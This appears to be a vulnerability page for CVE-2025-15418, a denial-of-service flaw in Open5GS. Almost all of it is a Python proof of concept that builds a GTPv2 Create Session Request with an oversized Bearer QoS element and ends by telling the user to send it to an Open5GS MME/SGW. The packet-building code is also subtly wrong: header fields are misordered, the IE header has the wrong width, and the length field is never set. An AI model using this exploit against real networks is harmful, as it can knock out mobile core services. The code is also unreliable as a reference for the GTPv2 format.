CVE-2025-15418 Open5GS Bearer QoS拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-15418 PoC - Open5GS Bearer QoS DoS This PoC demonstrates the malformed Bearer QoS IE that triggers the vulnerability. """ import struct def create_malformed_bearer_qos_ie(): """ Create a malformed GTPv2 Bearer QoS Information Element that triggers the vulnerability in ogs_gtp2_parse_bearer_qos """ # IE Type for Bearer QoS (0x57) ie_type = 0x57 # Malformed length - causes buffer overflow in length handler # Valid QoS values should be 1 byte each for QCI, PL, PCI, etc. malformed_length = 0xFFFF # Invalid length causing overflow # Create IE header ie_header = struct.pack('!BHH', ie_type, malformed_length, 0) # Malformed IE data that triggers the vulnerability ie_data = b'\x00' * malformed_length return ie_header + ie_data def create_gtpv2_create_session_request(): """ Build a GTPv2 Create Session Request with malformed Bearer QoS IE """ # GTPv2 header version = 2 teid_present = 1 message_type = 0x32 # Create Session Request header = struct.pack('!BBHI', (version << 5) | (teid_present << 3), 0xFF, # Spare message_type, 0x00000000 # TEID (0 for control plane) ) # Add sequence number, spare, and length placeholder header += struct.pack('!IBH', 0x000001, 0, 0) # Include malformed Bearer QoS IE bearer_qos_ie = create_malformed_bearer_qos_ie() return header + bearer_qos_ie if __name__ == "__main__": print("CVE-2025-15418 Open5GS Bearer QoS DoS PoC") print("=" * 50) print("Generating malformed GTPv2 packet...") packet = create_gtpv2_create_session_request() print(f"Packet length: {len(packet)} bytes") print(f"Packet hex: {packet.hex()}") print("\n[!] Send this packet to Open5GS MME/SGW to trigger DoS")